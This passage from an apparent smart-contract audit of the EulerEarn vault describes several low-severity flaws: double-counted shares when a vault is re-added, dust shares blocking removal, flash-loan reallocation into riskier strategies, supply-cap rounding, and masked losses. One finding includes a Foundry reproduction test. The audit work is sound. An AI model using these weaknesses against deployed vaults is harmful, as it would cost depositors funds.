
        newTotalAssets = realTotalAssets + newLostAssets;
        uint256 totalInterest = newTotalAssets - lastTotalAssetsCached;
       //...
    }
```

However, **if the same vault is later re-added** to the `EulerEarn` vault, it is treated as a fresh strategy and added to the `withdrawQueue`. During this process, its configuration is initialized with `marketConfig.balance = id.balanceOf(address(this))`. Since this balance still contains the previously lost shares, **those same assets are now re-counted in** `totalAssets()`, **leading to double counting**:

```
function _setCap(IERC4626 id, uint136 supplyCap) internal {
        //...
        if (supplyCap > 0) {
            IERC20(asset()).forceApproveMaxWithPermit2(address(id), permit2);

            if (!marketConfig.enabled) {
                withdrawQueue.push(id);

                //...
                marketConfig.balance = id.balanceOf(address(this)).toUint112();

                // Take into account assets of the new vault without applying a fee.
                _updateLastTotalAssets(lastTotalAssets + _expectedSupplyAssets(id));

                //...
            }

            //...
        } else {
            IERC20(asset()).revokeApprovalWithPermit2(address(id), permit2);
        }

        //...
    }
```

This results in an inflated `totalAssets()` value, which raises the share price of the `EaulerEarn` vault. Consequently, users interacting with the vault (e.g., minting) may receive fewer shares than they should.

Recommendations

Avoid initializing re-added strategy vaults with their current balance. Instead, explicitly set `marketConfig.balance = 0` when adding a vault that was previously removed.

[L-10] Dust shares prevent immediate strategy vault removal due to inconsistent checks

The `EulerEarn` vault supports immediate removal of a strategy vault from its `withdrawQueue` by reallocating its funds to another strategy vault. However, this process is hindered by inconsistent logic when checking if a strategy vault is truly "empty."

- In `reallocate()`, a strategy vault is considered empty based on the `supplyAssets` (calculated by via `id.previewRedeem(supplyShares)`):

```
function reallocate(MarketAllocation[] calldata allocations) external nonReentrant
onlyAllocatorRole {
        address msgSender = _msgSender();
        uint256 totalSupplied;
        uint256 totalWithdrawn;
        for (uint256 i; i < allocations.length; ++i) {
            MarketAllocation memory allocation = allocations[i];
            IERC4626 id = allocation.id;
            if (!config[id].enabled) revert ErrorsLib.MarketNotEnabled(id);
```

```
            uint256 supplyShares = config[id].balance;
            uint256 supplyAssets = id.previewRedeem(supplyShares);
            uint256 withdrawn = supplyAssets.zeroFloorSub(allocation.assets);

            if (withdrawn > 0) { //@audit : will not be entered if the supplyAssets rounds down
to zero
                // Guarantees that unknown frontrunning donations can be withdrawn, in order to
disable a strategy vault (market).
                uint256 shares;
                if (allocation.assets == 0) {
                    shares = supplyShares;
                    withdrawn = 0;
                }

                uint256 withdrawnAssets;
                uint256 withdrawnShares;

                if (shares == 0) {
                    withdrawnAssets = withdrawn;
                    withdrawnShares = id.withdraw(withdrawn, address(this), address(this));
                } else {
                    withdrawnAssets = id.redeem(shares, address(this), address(this));
                    withdrawnShares = shares;
                }

                config[id].balance = uint112(supplyShares - withdrawnShares);

                emit EventsLib.ReallocateWithdraw(msgSender, id, withdrawnAssets,
withdrawnShares);

                totalWithdrawn += withdrawnAssets;
            } else {
                //...
            }
        }

       //...
    }
```

- In `updateWithdrawQueue()`, it checks whether the vault holds any `shares` in that strategy vault (via `config[id].balance`):

```
    function updateWithdrawQueue(uint256[] calldata indexes) external onlyAllocatorRole {
        //...

        for (uint256 i; i < currLength; ++i) {
            if (!seen[i]) {
                IERC4626 id = withdrawQueue[i];

                //...

                if (config[id].balance != 0) {
                    if (config[id].removableAt == 0) revert
ErrorsLib.InvalidMarketRemovalNonZeroSupply(id);

                    if (block.timestamp < config[id].removableAt) {
```

```
                        revert ErrorsLib.InvalidMarketRemovalTimelockNotElapsed(id);
                    }
                }

                delete config[id];
            }
        }

        //...
    }
```

This inconsistency allows a scenario where a strategy vault appears empty in `reallocate()` (because redeemable assets are zero), but cannot be removed via `updateWithdrawQueue()` because the vault still holds dust shares. This situation may arise due to rounding and a low share price, which results in zero assets when redeemed.

For example, if the share price is < 1, one share might not be redeemable for a single asset unit. In this case:

- `id.previewRedeem(config[id].balance)` reports `0`, thus the calculated `withdrawn` will be `0`.
- `reallocate()` assumes the strategy vault is empty and performs no action.
- Yet `updateWithdrawQueue()` still sees `config[id].balance` > 0 and blocks removal since `removableAt == 0` was set previously to remove the strategy vault via `submitMarketRemoval()`.

This results in:

- Preventing immediate removal of strategy vaults that appear empty from a value perspective but still hold unusable dust shares.
- Forcing reliance on the slower timelock pathway, reducing flexibility.

Recommendations

Consider updating the `reallocate()` function to force redemption of any remaining shares even if `withdrawn == 0`, this can be done by flagging `allocation.assets == 0` for such vaults to be removed.

[L-11] Flash loan attack reallocates liquidity to riskier strategy vaults

In `EulerEarn`, user deposits are distributed across the underlying `supplyQueue` strategy vaults according to their remaining capacity. The `_supplyStrategy()` function iterates through this queue and deposits funds into the first supply strategy vault with available capacity. If a supply strategy vault hits its cap, the `EulerEarn` vault proceeds to the next one until the entire deposit is allocated:

```
function _supplyStrategy(uint256 assets) internal {
        for (uint256 i; i < supplyQueue.length; ++i) {
            IERC4626 id = supplyQueue[i];
```

```
            uint256 supplyCap = config[id].cap;
            if (supplyCap == 0) continue;

            uint256 supplyAssets = _expectedSupplyAssets(id);

            uint256 toSupply =
                UtilsLib.min(UtilsLib.min(supplyCap.zeroFloorSub(supplyAssets),
id.maxDeposit(address(this))), assets);

            if (toSupply > 0) {
                // Using try/catch to skip vaults that revert.
                try id.deposit(toSupply, address(this)) returns (uint256 suppliedShares) {
                    config[id].balance = (config[id].balance + suppliedShares).toUint112();
                    assets -= toSupply;
                } catch {}
            }

            if (assets == 0) return;
        }

        if (assets != 0) revert ErrorsLib.AllCapsReached();
    }
```

However, this design introduces a risk of **manipulative reallocation of liquidity**, where a malicious actor can perform a flash-loan attack: deposit a large amount of assets into `EulerEarn`, trigger redistribution across the `supplyQueue`, and then withdraw those assets in the same transaction. This causes the liquidity to be shifted away from larger, safer supply strategy vaults and into smaller or riskier ones.

For instance:

- Assume there are two strategy vaults (A and B) in the `supplyQueue` with caps of 100M and 20M, respectively. Supply strategy vault A currently holds 20M, and supply strategy vault B holds 1M.
- An attacker can deposit 99M into `EulerEarn`, causing funds to overflow from A into B. Then they immediately withdraw the 99M, leaving B with a disproportionate amount of the vault's total liquidity.

This exploit allows attackers to manipulate portfolio allocation in `EulerEarn`, degrading performance and increasing risk exposure. Moreover, withdrawing a large share from one strategy vault could cause liquidity shortages and negatively impact users of that strategy vault.

Recommendations

Consider increasing the supply cap of the first strategy vault in the `supplyQueue` to a high value to make it act as a buffer to absorb temporary surges and protect smaller strategy vaults.

[L-12] Rounding in `_expectedSupplyAssets()` may exceed `supplyCap`

The `_supplyStrategy()` function is expected to ensure that the total assets supplied to a strategy vault never exceed its defined `supplyCap` immediately after a deposit. To achieve this, the `toSupply` value should be conservative, meaning it must not overestimate the available supply room:

```
function _supplyStrategy(uint256 assets) internal {
        for (uint256 i; i < supplyQueue.length; ++i) {
            IERC4626 id = supplyQueue[i];

            uint256 supplyCap = config[id].cap;
            if (supplyCap == 0) continue;

            uint256 supplyAssets = _expectedSupplyAssets(id);

            uint256 toSupply =
                UtilsLib.min(UtilsLib.min(supplyCap.zeroFloorSub(supplyAssets),
id.maxDeposit(address(this))), assets);

            if (toSupply > 0) {
                // Using try/catch to skip vaults that revert.
                try id.deposit(toSupply, address(this)) returns (uint256 suppliedShares) {
                    config[id].balance = (config[id].balance + suppliedShares).toUint112();
                    assets -= toSupply;
                } catch {}
            }

            if (assets == 0) return;
        }

        if (assets != 0) revert ErrorsLib.AllCapsReached();
    }
```

Here, the calculated `supplyAssets` reflects the most up-to-date and **slightly overestimated value (i.e., rounded up)**, so that `supplyCap.zeroFloorSub(supplyAssets)` rounds down.

However, `supplyAssets` is calculated via `id.previewRedeem()` in which **it will round-down the redeemable assets**, which may result in `toSupply` being higher than should be provided to the vault.

```
  function _expectedSupplyAssets(IERC4626 id) internal view returns (uint256) {
        return id.previewRedeem(config[id].balance);
    }
```

```
// @note : openzeppelin-contracts/contracts/token/ERC20/extensions/ERC4626.sol
    /// @inheritdoc IERC4626
     function previewRedeem(uint256 shares) public view virtual returns (uint256) {
        return _convertToAssets(shares, Math.Rounding.Floor);
    }
```

```
// @note : overridden `EulerEarn._convertToAssets()` function
   /// @inheritdoc ERC4626
    /// @dev The accrual of performance fees is taken into account in the conversion.
    function _convertToAssets(uint256 shares, Math.Rounding rounding) internal view override
returns (uint256) {
        (uint256 feeShares, uint256 newTotalAssets,) = _accruedFeeAndAssets();

        return _convertToAssetsWithTotals(shares, totalSupply() + feeShares, newTotalAssets,
rounding);
    }
```

This could lead to the strategy vault breaching its `supplyCap` directly after the deposit.

Recommendations

Consider adjusting `_expectedSupplyAssets()` to round up its final result when used in `supplyCap` calculations inside the `_supplyStrategy()` function, to guarantee the supply cap is respected even in edge cases.

[L-13] Strategy losses can be masked by interest gains from other strategies

The `EulerEarn` vault aggregates yield across multiple strategies. However, when computing `lostAssets` in `_accruedFeeAndAssets()`, the implementation mistakenly assumes that any net increase in total assets means no losses occurred, and thus fails to properly track `lostAssets`.

```
        // The assets that the Earn vault has on the strategy vaults.
        uint256 realTotalAssets;
        for (uint256 i; i < withdrawQueue.length; ++i) {
            IERC4626 id = withdrawQueue[i];
            realTotalAssets += _expectedSupplyAssets(id);
        }

        uint256 lastTotalAssetsCached = lastTotalAssets;
        if (realTotalAssets < lastTotalAssetsCached - lostAssets) {
            // If the vault lost some assets (realTotalAssets decreased), lostAssets is
increased.
            newLostAssets = lastTotalAssetsCached - realTotalAssets;
        } else {
            // If it did not, lostAssets stays the same.
            newLostAssets = lostAssets;
        }
```

To better understand the issue, consider the following scenario:

1. EulerEarn supports two strategies, S1 and S2, and has 1e18 deposited into each, so `totalAssets = 2e18`.
2. After some time, S2 accrues 0.25e18 in interest, while S1 incurs a loss of 0.1e18.

3. If `_accruedFeeAndAssets()` is triggered at this point, it will assume the total interest accrued is 0.15e18, and will **not** update `lostAssets`. This is incorrect — S1 did lose 0.1e18, but this loss will never be captured.

The impact of this vulnerability is significant since it causes major accounting inaccuracies in the `lostAssets` value, which only gets worse over time. Losses in individual strategies are not captured, leaving the `lostAssets` metric untrustworthy. Additionally, this leads to a fee under-collection for the `feeRecipient`. Since fees are minted based on net interest accrued, losses from one strategy reduce the apparent gains of another, ultimately lowering the protocol's revenue. Due to this flaw, the intended differentiation between `lostAssets` (which should isolate user losses from vault underperformance) fails to hold.

In order to reproduce the issue, paste the following test in the `LostAssetsTest.sol` file and run `forge test --mt testLostAssetsMaskedByInterestGain -vvv` :

```
    function testLostAssetsMaskedByInterestGain() public {
        // Set up two strategies
        _setCap(allMarkets[1], CAP); // Add a second strategy

        // Configure supply queue to use both strategies
        IERC4626[] memory supplyQueue = new IERC4626[](2);
        supplyQueue[0] = allMarkets[0]; // Strategy 1 - will lose assets
        supplyQueue[1] = allMarkets[1]; // Strategy 2 - will gain interest

        vm.prank(ALLOCATOR);
        vault.setSupplyQueue(supplyQueue);

        // Initial deposit - will be split between strategies
        uint256 totalDeposit = 2e18;
        loanToken.setBalance(SUPPLIER, totalDeposit);

        vm.prank(SUPPLIER);
        vault.deposit(totalDeposit, ONBEHALF);

        // Force allocation to both strategies via reallocation
        MarketAllocation[] memory allocations = new MarketAllocation[](2);
        allocations[0] = MarketAllocation(allMarkets[0], 1e18); // 1e18 to strategy 1
        allocations[1] = MarketAllocation(allMarkets[1], 1e18); // 1e18 to strategy 2

        vm.prank(ALLOCATOR);
        vault.reallocate(allocations);

        // Record state before everything. This is the initial state. lostAssets: 0 and
totalAssets: 2e18.
        uint256 lostAssetsBefore = vault.lostAssets();
        uint256 totalAssetsBefore = vault.totalAssets();

        // Create borrowing activity on Strategy 2 to generate interest
        uint256 collateralAmount = 2e18;
        collateralToken.setBalance(BORROWER, collateralAmount);
        vm.startPrank(BORROWER);
        collateralVault.deposit(collateralAmount, BORROWER);
        evc.enableController(BORROWER, address(allMarkets[1]));
        _toEVault(allMarkets[1]).borrow(0.4e18, BORROWER); // Borrow from strategy 2
```

```
        vm.stopPrank();
        // Move time forward to accrue significant interest on Strategy 2
        vm.warp(block.timestamp + 365 days); // 1 year for substantial interest
        // We did this only to generate interest in the Strategy 2.

        // Strategy 1 loses 0.01e18 of its assets.
        uint256 strategy1AssetsBefore =
allMarkets[0].previewRedeem(allMarkets[0].balanceOf(address(vault)));
        uint256 lossAmount = 0.01e18; // 0.01e18 loss
        _toEVaultMock(allMarkets[0]).mockSetTotalSupply(uint112(strategy1AssetsBefore -
lossAmount));

        // Check that Strategy 2 has gained significant interest (should be > 0.1e18 to mask the
loss)
        uint256 strategy2AssetsAfter =
allMarkets[1].previewRedeem(allMarkets[1].balanceOf(address(vault)));
        uint256 interestGained = strategy2AssetsAfter - 1e18; // Interest = current - initial
1e18

        console.log("Strategy 1 loss:           ", lossAmount);
        console.log("Strategy 2 interest gained:", interestGained);

        // Trigger interest accrual
        accrueInterestBySettingFeeRecipient();

        // Record state after accrual
        uint256 lostAssetsAfter = vault.lostAssets();
        uint256 totalAssetsAfter = vault.totalAssets();

        console.log("Lost assets before:", lostAssetsBefore);
        console.log("Lost assets after: ", lostAssetsAfter);
        console.log("Total assets before:", totalAssetsBefore);
        console.log("Total assets after: ", totalAssetsAfter);

        // The bug: If interest gained > loss, lostAssets won't be updated
        if (interestGained > lossAmount) {
            // This demonstrates the issue - lost assets should be tracked regardless of net
gain
            console.log("BUG DEMONSTRATED: Net gain masks individual strategy losses");
            console.log("Expected lostAssets to increase by:", lossAmount);
            console.log("Actual lostAssets change:", lostAssetsAfter - lostAssetsBefore);
            console.log("Expected interestAccrued to increase totalAssets by:", interestGained);
            console.log("Actual totalAssets change:                          ",
totalAssetsAfter - totalAssetsBefore);

            // The vault shows a net gain but individual losses are hidden
            assertEq(lostAssetsAfter, lostAssetsBefore, "Lost assets not updated despite
Strategy 1 loss");
            assertGt(totalAssetsAfter, totalAssetsBefore, "Total assets increased due to net
gain");
            // This is the problematic behavior and the impact of it is :
            // 1. Curator doesn't know how many assets have been lost from strategies since
lostAssets is wrong.
            // 2. feeRecipient is taking less feeShares since the interestAccrued is being
decreased from the loss of strategies.
            // In reality, in metamorphov1.1, interest accrued and strategies losses must be
```

```
differentiated.
        }
    }
```

Recommendations

Fixing this issue may not be trivial, but a solid approach is to track the last total assets per strategy. This way, it’s possible to clearly determine whether a specific strategy has lost assets or accrued yield independently.